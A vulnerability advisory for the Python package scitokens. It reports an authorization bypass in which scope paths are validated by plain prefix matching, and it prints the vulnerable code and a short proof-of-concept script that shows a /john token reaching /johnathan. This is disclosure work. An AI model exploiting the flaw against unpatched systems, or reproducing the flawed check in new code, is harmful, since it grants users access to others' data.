High

SciTokens has an Authorization Bypass via Incorrect Scope Path Prefix Checking

  • Disclosed: 31.03.2026
  • Updated: 11.10.2026 14:17

Summary

The Enforcer incorrectly validates scope paths by using a simple prefix match (startswith). This allows a token with access to a specific path (e.g., /john) to also access sibling paths that start with the same prefix (e.g., /johnathan, /johnny), which is an Authorization Bypass.

Details

File: src/scitokens/scitokens.py
Methods: _validate_scp and _validate_scope

Vulnerable Code Snippets:

In _validate_scp (around line 696):

python
    for scope in value:
        authz, norm_path = self._check_scope(scope)
        if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):
            return True

In _validate_scope (around line 722):

python
    for scope in value.split(" "):
        authz, norm_path = self._check_scope(scope)
        if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):
            return True

If norm_path (authorized) is /john and norm_requested_path (requested) is /johnathan, startswith returns True, incorrectly granting access.

PoC

python
import scitokens
import sys

def poc_scope_bypass():
    """
    Demonstrate an Authorization Bypass vulnerability in scope path checking.
    """
    print("--- PoC: Incorrect Scope Path Checking (Authorization Bypass) ---")
    
    issuer = "https://scitokens.org/unittest"
    enforcer = scitokens.Enforcer(issuer)
    
    # Create a token with access to /john
    token = scitokens.SciToken()
    token['iss'] = issuer
    token['scope'] = "read:/john"
    
    print(f"Authorized path in scope: /john")
    
    # 1. Test access to /john/file (should be allowed)
    print(f"[1] Testing legitimate subpath: /john/file")
    if enforcer.test(token, 'read', '/john/file'):
        print("    -> Access GRANTED (Correct behavior)")
    else:
        print("    -> Access DENIED (Incorrect behavior - should have access to subpaths)")

    # 2. Test access to /johnathan (SHOULD BE DENIED)
    print(f"[2] Testing illegitimate sibling path: /johnathan")
    if enforcer.test(token, 'read', '/johnathan'):
        print("    -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.")
    else:
        print("    -> Access DENIED (Correct behavior - fix is working)")

    # 3. Test access to /johnny (SHOULD BE DENIED)
    print(f"[3] Testing illegitimate sibling path: /johnny")
    if enforcer.test(token, 'read', '/johnny'):
        print("    -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.")
    else:
        print("    -> Access DENIED (Correct behavior - fix is working)")

if __name__ == "__main__":
    # Ensure scitokens from src/ is available
    sys.path.insert(0, "src")
    poc_scope_bypass()

Impact

This bug allows a user to access resources they are not authorized for. For example, if a system uses usernames as top-level directories in a shared storage, a user john might be able to read or write to the directory of user johnathan simply because their names share a prefix.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) scitokens < 1.9.6 1.9.6

References

CVSS score 8.1/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Weakness (CWE)
CWE-285
Platform
Python (PyPI)
Package
scitokens
Disclosed
31.03.2026
Updated
11.10.2026 14:17

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-2276 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-w8fp-g9rh-34jh - CC BY 4.0

Vulnerability history: scitokens

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
3
First → latest
03.2026 03.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 1
  • High 2

Disclosures per year

  1. 2026: 3
  1. Critical · 9.8 CVE-2026-32714 < 1.9.6 1.9.6
  2. SciTokens has an Authorization Bypass via Incorrect Scope Path Prefix Checking this entry
    High · 8.1 CVE-2026-32716 < 1.9.6 1.9.6

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